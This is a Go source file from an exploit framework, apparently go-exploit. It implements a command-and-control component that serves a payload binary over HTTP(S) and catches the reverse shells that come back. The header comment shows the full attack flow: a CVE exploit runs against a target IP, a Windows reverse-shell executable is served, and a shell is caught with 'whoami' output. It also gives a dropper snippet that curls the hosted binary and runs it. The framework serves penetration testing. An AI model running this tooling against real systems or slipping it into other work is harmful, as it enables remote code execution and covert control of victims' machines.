// httpservershell is (literally) a combination of HTTPServeFile and (SSLShell || SimpleShellServer).
// The use case is when you want to drop/execute a custom binary, but you still want to catch it in
// go-exploit. Example usage:
//
//		albinolobster@mournland:~/initial-access/feed/cve-2023-30801$ ./build/cve-2023-30801_linux-arm64
//	 		-e -rhost 10.9.49.133 -lhost 10.9.49.134 -lport 1270 -httpServeFile.BindAddr 10.9.49.134
//	 		-httpServeShell.SSLShell=false -httpServeFile.FilesToServe ./build/reverse_shell_windows-amd64.exe
//	 		-httpServeFile.TLS=true
//		time=2023-09-08T11:07:20.852-04:00 level=STATUS msg="Loading the provided file: ./build/reverse_shell_windows-amd64.exe"
//		time=2023-09-08T11:07:20.856-04:00 level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
//		time=2023-09-08T11:07:21.010-04:00 level=STATUS msg="Starting listener on 10.9.49.134:1270"
//		time=2023-09-08T11:07:21.010-04:00 level=STATUS msg="Starting target" index=0 host=10.9.49.133 port=8080 ssl=false "ssl auto"=false
//		time=2023-09-08T11:07:21.010-04:00 level=STATUS msg="Starting an HTTPS server on 10.9.49.134:8080"
//		time=2023-09-08T11:07:21.092-04:00 level=STATUS msg="Using session: SID=rIOk9SAl5TXTqIfpVGmYUn/kB+VuMrqo"
//		time=2023-09-08T11:07:21.095-04:00 level=STATUS msg="Selecting a Windows payload"
//		time=2023-09-08T11:07:21.309-04:00 level=SUCCESS msg="Caught new shell from 10.9.49.133:51706"
//		time=2023-09-08T11:07:21.309-04:00 level=STATUS msg="Active shell from 10.9.49.133:51706"
//		time=2023-09-08T11:07:23.180-04:00 level=STATUS msg="Exploit successfully completed"
//		whoami
//		albinolobst9bd8\albinolobster
//
// From the exploit code, interacting with the variables isn't too much different from using httpServeFile
// (since httpServeShell is just a wrapper):
//
//	downAndExec := dropper.Windows.CurlHTTP(
//		httpservefile.GetInstance().HTTPAddr, httpservefile.GetInstance().HTTPPort,
//		httpservefile.GetInstance().TLS, httpservefile.GetInstance().GetRandomName(windows64))
//
// Which means anything that supports httpServeShell should also trivially support httpServeFile (and the other way around
// as long as you are accounting for httpServeFile.SSLShell).
package httpserveshell

import (
	"flag"
	"sync"
	"sync/atomic"
	"time"

	"github.com/vulncheck-oss/go-exploit/c2/channel"
	"github.com/vulncheck-oss/go-exploit/c2/httpservefile"
	"github.com/vulncheck-oss/go-exploit/c2/simpleshell"
	"github.com/vulncheck-oss/go-exploit/c2/sslshell"
	"github.com/vulncheck-oss/go-exploit/output"
)

type Server struct {
	// Indicates if we should use SSLShell or SimpleShell
	SSLShell bool
	// The HTTP address to bind to
	HTTPAddr string
	// The HTTP port to bind to
	HTTPPort int
	// The underlying C2 channel with metadata and session information
	channel     *channel.Channel
	pastTimeout atomic.Bool
}

var singleton *Server

// A basic singleton interface for the c2.
func GetInstance() *Server {
	if singleton == nil {
		singleton = new(Server)
	}

	return singleton
}

// User options for serving a file over HTTP as the "c2".
func (serveShell *Server) CreateFlags() {
	flag.BoolVar(&serveShell.SSLShell, "httpServeShell.SSLShell", false, "Indicates if the SSLShell or SimpleShell is used")

	// normal "httpservefile" uses lhost,lport for binding so we need to create new vars for that
	flag.StringVar(&serveShell.HTTPAddr, "httpServeFile.BindAddr", "", "The address to bind the HTTP serve to")
	flag.IntVar(&serveShell.HTTPPort, "httpServeFile.BindPort", 8080, "The port to bind the HTTP serve to")

	httpservefile.GetInstance().CreateFlags()
	sslshell.GetInstance().CreateFlags()
}

// load the provided file into memory. Generate the random filename.
func (serveShell *Server) Init(ch *channel.Channel) bool {
	if ch.Shutdown == nil {
		// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually
		// configured.
		var shutdown atomic.Bool
		shutdown.Store(false)
		ch.Shutdown = &shutdown
	}
	serveShell.pastTimeout.Store(false)
	serveShell.channel = ch
	if len(serveShell.HTTPAddr) == 0 {
		output.PrintFrameworkError("User must specify -httpServeFile.BindAddr")

		return false
	}
	ch.HTTPAddr = serveShell.HTTPAddr
	ch.HTTPPort = serveShell.HTTPPort

	if !httpservefile.GetInstance().Init(ch) {
		return false
	}

	// Initialize the shell server channels with variables from upstream
	var shutdown atomic.Bool
	shutdown.Store(false)
	shellChannel := &channel.Channel{
		IPAddr:   ch.IPAddr,
		Port:     ch.Port,
		IsClient: false,
		Shutdown: &shutdown,
	}
	if serveShell.SSLShell {
		return sslshell.GetInstance().Init(shellChannel)
	}

	return simpleshell.GetServerInstance().Init(shellChannel)
}

// Shutdown triggers the shutdown for all running C2s.
func (serveShell *Server) Shutdown() bool {
	// Account for non-running case
	if serveShell.Channel() == nil {
		return true
	}
	// This is a bit confusing at first glance, but it solves the fact that this c2 doesn't directly
	// keep track of sessions and we can't differentiate between a timeout "done" and a signal "done".
	// What this means is that if a underlying shell server has sessions that we want to keep open for
	// use after callbacks occur we have to account for a few things:
	//
	//  - If serveShell shutdown is called and there are no sessions, just trigger shutdown on the
	//    underlying shell server (easy).
	//  - If the server does have sessions, we have a few issues. The serveShell shutdown is triggered
	//    from a shutdown call, meaning that it's already in a closing state. There is no way to tell
	//    if it was an OS signal or a timeout anymore and now if a background shell is running and we
	//    are closing serveShell we cannot catch the signal and pass the shutdown to the shell server.
	//
	// In order to solve the second, we added a `pastTimeout` atomic that only signals if we are past
	// timeout. Now, when timeout is reached and there's a background shell (the positive case) we
	// reset the Shutdown atomic to false and then begin looping to check if it closes again, making
	// the server in a state that it knows it's past timeout and reactivating the server until a
	// signal is hit or the underlying server also shuts down.

	httpservefile.GetInstance().Channel().Shutdown.Store(true)
	if serveShell.SSLShell {
		if !sslshell.GetInstance().Channel().HasSessions() {
			sslshell.GetInstance().Channel().Shutdown.Store(true)
		} else {
			// Session exist, reset the shutdown atomic and loop until a second shutdown occurs.
			serveShell.Channel().Shutdown.Store(false)
			for {
				if serveShell.Channel().Shutdown.Load() {
					// The the shutdown happens and it is past timeout, that means that
					// we have sessions but timeout has passed, so reset all atomics.
					// Now when the loop happens we will be able to check for other
					// shutdown signals of any kind.
					if serveShell.pastTimeout.Load() {
						serveShell.Channel().Shutdown.Store(false)
						serveShell.pastTimeout.Store(false)
					} else {
						sslshell.GetInstance().Channel().Shutdown.Store(true)

						break
					}
				}
			}
		}
	} else {
		if !simpleshell.GetServerInstance().Channel().HasSessions() {
			simpleshell.GetServerInstance().Channel().Shutdown.Store(true)
		} else {
			// Session exist, reset the shutdown atomic and loop until a second shutdown occurs.
			serveShell.Channel().Shutdown.Store(false)
			for {
				if serveShell.Channel().Shutdown.Load() {
					// The the shutdown happens and it is past timeout, that means that
					// we have sessions but timeout has passed, so reset all atomics.
					// Now when the loop happens we will be able to check for other
					// shutdown signals of any kind.
					if serveShell.pastTimeout.Load() {
						serveShell.Channel().Shutdown.Store(false)
						serveShell.pastTimeout.Store(false)
					} else {
						simpleshell.GetServerInstance().Channel().Shutdown.Store(true)

						break
					}
				}
			}
		}
	}

	return true
}

// Return the underlying C2 channel.
func (serveShell *Server) Channel() *channel.Channel {
	return serveShell.channel
}

// start the http server and shell and wait for them to exit.
func (serveShell *Server) Run(timeout int) {
	var wg sync.WaitGroup

	// Check if the channel has signaled shutdown and trigger cleanup no matter where it comes from.
	go func() {
		for {
			if serveShell.channel.Shutdown.Load() {
				serveShell.Shutdown()
				wg.Done()

				break
			}
			time.Sleep(10 * time.Millisecond)
		}
	}()
	go func() {
		time.Sleep(time.Duration(timeout) * time.Second)
		serveShell.pastTimeout.Store(true)
	}()
	// Spin up the shell
	wg.Add(1)
	go func() {
		if serveShell.SSLShell {
			sslshell.GetInstance().Run(timeout)
			// Handle shutdown for OS signaling or timeout from underlying instance
			go func() {
				for {
					if sslshell.GetInstance().Channel().Shutdown.Load() {
						serveShell.Channel().Shutdown.Store(true)
						wg.Done()

						break
					}
					time.Sleep(10 * time.Millisecond)
				}
			}()
		} else {
			simpleshell.GetServerInstance().Run(timeout)
			// Handle shutdown for OS signaling or timeout from underlying instance
			go func() {
				for {
					if simpleshell.GetServerInstance().Channel().Shutdown.Load() {
						serveShell.Channel().Shutdown.Store(true)
						wg.Done()

						break
					}
					time.Sleep(10 * time.Millisecond)
				}
			}()
		}
	}()

	// Spin up the http server
	wg.Add(1)
	go func() { httpservefile.GetInstance().Run(timeout) }()

	// wait until the go routines are clean up
	wg.Wait()
}